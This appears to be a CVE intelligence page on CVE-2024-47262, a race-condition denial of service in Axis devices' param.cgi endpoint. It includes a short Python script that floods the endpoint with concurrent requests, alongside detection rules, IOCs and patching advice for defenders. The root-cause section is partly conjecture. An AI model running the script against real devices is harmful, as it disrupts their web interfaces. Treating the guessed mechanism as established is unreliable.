CVE-2024-47262
Executive Summary
CVE-2024-47262 is a race condition vulnerability in the VAPIX API param.cgi endpoint of Axis devices. An unauthenticated attacker can exploit this flaw to block access to the device's web interface, resulting in a denial of service (DoS) condition. The vulnerability does not affect other API endpoints or services. Axis has released patched AXIS OS versions to address this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Axis devices.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: High (AC:H) - Exploitation requires precise timing.
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L) - Only the web interface is blocked; other services remain functional.
Threat Level: Medium. The vulnerability is limited to DoS of the web interface and requires a race condition, making exploitation less reliable.
Deep Dive & Mechanics
The vulnerability resides in the param.cgi endpoint of the VAPIX API. This endpoint is used to manage device parameters. A race condition occurs when multiple concurrent requests are sent to param.cgi in a specific sequence, causing a state where the web interface becomes unresponsive. The exact mechanism involves a time-of-check to time-of-use (TOCTOU) flaw in how the CGI script handles session or resource locks.
Root Cause: Improper synchronization in the handling of concurrent requests to param.cgi, leading to a deadlock or resource exhaustion that blocks the web interface.
Attack Vector: An attacker sends a series of crafted HTTP requests to the vulnerable endpoint with precise timing to trigger the race condition.
Vulnerable vs. Patched Code
No specific code snippets are available. The patch likely involves adding proper locking mechanisms or mutexes to the param.cgi handler to prevent race conditions.
Vulnerable Behavior: Concurrent requests to param.cgi can cause a deadlock.
Patched Behavior: Requests are properly serialized or handled with atomic operations.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Axis device with a vulnerable AXIS OS version.
- Network connectivity to the device's HTTP interface.
Exploitation Steps:
- Identify the target device and confirm it is running a vulnerable AXIS OS version.
- Use a script to send multiple concurrent HTTP GET requests to
http://<target>/axis-cgi/param.cgi?action=list. - The requests must be sent in rapid succession (e.g., using threading or async I/O).
- If successful, the web interface becomes unresponsive. Other services (e.g., RTSP) remain functional.
Example Python Script:
import requests
import threading
target = "http://192.168.1.100/axis-cgi/param.cgi?action=list"
def send_request():
try:
requests.get(target, timeout=5)
except:
pass
threads = []
for i in range(50):
t = threading.Thread(target=send_request)
threads.append(t)
t.start()
for t in threads:
t.join()
print("Exploit attempted. Check if web interface is down.")
Blue Team
Detection:
- Monitor for a high volume of requests to
/axis-cgi/param.cgifrom a single source within a short time window. - Look for patterns of rapid, repeated requests to the same endpoint.
Mitigation:
- Apply the vendor patch as soon as possible.
- Implement rate limiting on the
param.cgiendpoint. - Use a Web Application Firewall (WAF) to detect and block anomalous request patterns.
Indicators of Compromise (IOCs)
- Network: Multiple HTTP requests to
/axis-cgi/param.cgifrom the same IP address within seconds. - Logs: Axis device logs may show repeated access to
param.cgiwith no subsequent successful response. - System: Web interface becomes unresponsive while other services (e.g., video streaming) continue to work.
Detection Engineering
YARA Rule
rule CVE_2024_47262_Axis_RaceCondition {
meta:
description = "Detects exploitation attempts of CVE-2024-47262 via rapid requests to param.cgi"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47262"
strings:
$param_cgi = "/axis-cgi/param.cgi"
$http_get = "GET"
condition:
#param_cgi > 10 and #http_get > 10
}
Sigma Rule
title: CVE-2024-47262 Axis Race Condition Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid repeated requests to Axis param.cgi endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: axis
detection:
selection:
cs-uri-stem: "/axis-cgi/param.cgi"
sc-status: 200
condition: selection | count() by src_ip > 20 within 10s
falsepositives:
- Legitimate monitoring tools
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47262 Axis Race Condition Attempt"; flow:to_server; content:"GET"; http_method; content:"/axis-cgi/param.cgi"; http_uri; threshold: type both, track by_src, count 20, seconds 10; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: Update AXIS OS to the latest patched version as per the vendor advisory.
- Workaround: If patching is not immediately possible, restrict access to the
param.cgiendpoint via firewall rules or access control lists. - Monitoring: Enable logging and monitor for anomalous request patterns to the vulnerable endpoint.
- Rate Limiting: Implement rate limiting on the web server to prevent rapid successive requests.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.